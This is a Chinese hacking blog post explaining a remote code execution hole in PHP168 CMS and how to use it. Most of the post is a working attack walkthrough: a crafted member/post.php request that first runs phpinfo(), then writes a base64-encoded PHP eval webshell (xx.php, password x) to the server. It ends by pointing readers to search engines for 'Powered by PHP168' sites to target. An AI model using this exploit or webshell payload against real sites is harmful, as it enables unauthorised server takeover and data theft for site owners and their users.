危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2306 浏览20582466

PHP168远程执行任意代码漏洞简介

PHP168 CMS是PHP领域当前用的人比较多的开源系统,全局采用“核心+模块+系统+插件”模式,代码全部开源,可极其方便的进行二次开发,所有功能模块可以自由安装与删除,个人用户完全免费使用。也许因为用的人多,研究它漏洞的人多,所以PHP168 CMS爆出的漏洞也不少,这不,前几天在网上又看到有人爆它的漏洞了。

这次爆出的漏洞是PHP168整站系统远程执行任意代码漏洞,漏洞公布者是Luclf3r,我是在t00ls论坛看到他公布的漏洞的。受这个漏洞影响的是PHP168,利用此漏洞可以直接获得shell。

一、漏洞简单分析

漏洞公布者已经对漏洞做了详细的分析,我这里就不班门弄斧了,直接引用:

漏洞出在inc/function.inc.php里面get_html_url()这个函数。   

当only或者fid不等于0时,且job等于“endHTML”时,执行函数,由于$showHtml_Type数组和$aid是可以由我们赋值的,所以漏洞产生。 

二、漏洞利用过程

很多人看了上面的漏洞分析是不是有点头晕啊,呵呵,没事,很多人更关心的是利用漏洞拿shell,看不懂漏洞分析也没关系,别看这个漏洞分析很长,其实利用起来特别简单,我们先来验证一下漏洞是否可用。我从网上下载了PHP168整站系统的源代码,在虚拟机里的PHP环境中把程序安装好。     

要验证和利用这个漏洞,第一步要做的就是注册一个用户,在首页点“注册”按钮或在网站地址后面加上/do/reg.php就可以打开注册页面,我随便注册了一个用户test,注册好登录后点击“会员中心”打开了页面。

我们在浏览器地址后面加上如下代码:

post.php?on\=l&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=l&job=endHTML,回车后显示。

可以看到成功执行了phpinfo()函数,说明漏洞确实存在。有的朋友可能会说光能执行phpinfo()函数好像没用啊。不用担心,能执行phpinfo()函数也就能执行别的函数,比如可以直接生成一句话木马的函数。函数fputs(fopen("x.php","w"),"<?eVal(\$_POST[x]);就可以在当前目录下生成一句话木马文件x.php,我们稍微修改下,构造地址,访问后发现没有生成一句话,在发布漏洞的帖子的别人的回帖中,说是用base64加密一下生成的文件名(比如上面的x.php)和一句话代码就可以了,不过要注意经过base64加密后的代码不能含有“=”,我简单构造后的函数为fputs(fopen(base64_decode(eHgucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QTINUW3hdKTsgPz4x)),其中eHgucGhw是xx.php经过base64加密后的代码。

PD9waHAgQGV2YWwojF9QTINUW3hdKTsgPz4x是<?php @eval($_POST[x]);?>1经过经过base64加密后的代码。

至于<?php@eval($_POST[x]);?>后面为什么会多一个1,是为了加密后的代码不含有“=”,后面加一个数字1不影响一句话代码的执行与功能。看是否可以生成一句话木马,直接访问Type[bencandy][1]={${fputs(fopen(base64_decode(eHgucGhw),w),base64_decode(PD9waHAgQGV2YWwojF9QTINUW3hdKTsgPz4x))}}&aid=l&job=endHTML,来到网站目录下的member子目录下,看到已经生成了一句话木马xx.php。  

用lanker一句话PHP后门客户端连接一句话,填上密码x,成功得到shell。    

其实这个漏洞利用过程非常简单,就2步:

1、注册一个用户后登录

2、在网址后面加上

member/post.php?on\=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(eHgucGhw,w),base64_decode(PD9waHAgQGV2YWwojF9QTINUW3hdKTsgPz4x))}}&aid=l&job=endHTML后回车就在member子目录下生成了一句话木马文件xx.php,密码为x,当然,具体代码比如生成一句话木马文件的文件名和一句话的连接密码你可以根据自己的需要修改。  

三、小结

在搜索引擎中搜索“Powered by PHP168”等可以找到可能存在这个漏洞的网站,大家在测试时不要做破坏,这样对大家都好,如果有朋友想在本机测试这个漏洞,我把存在漏洞的源代码“php168整站系统简体gbk.zip”打包给大家了。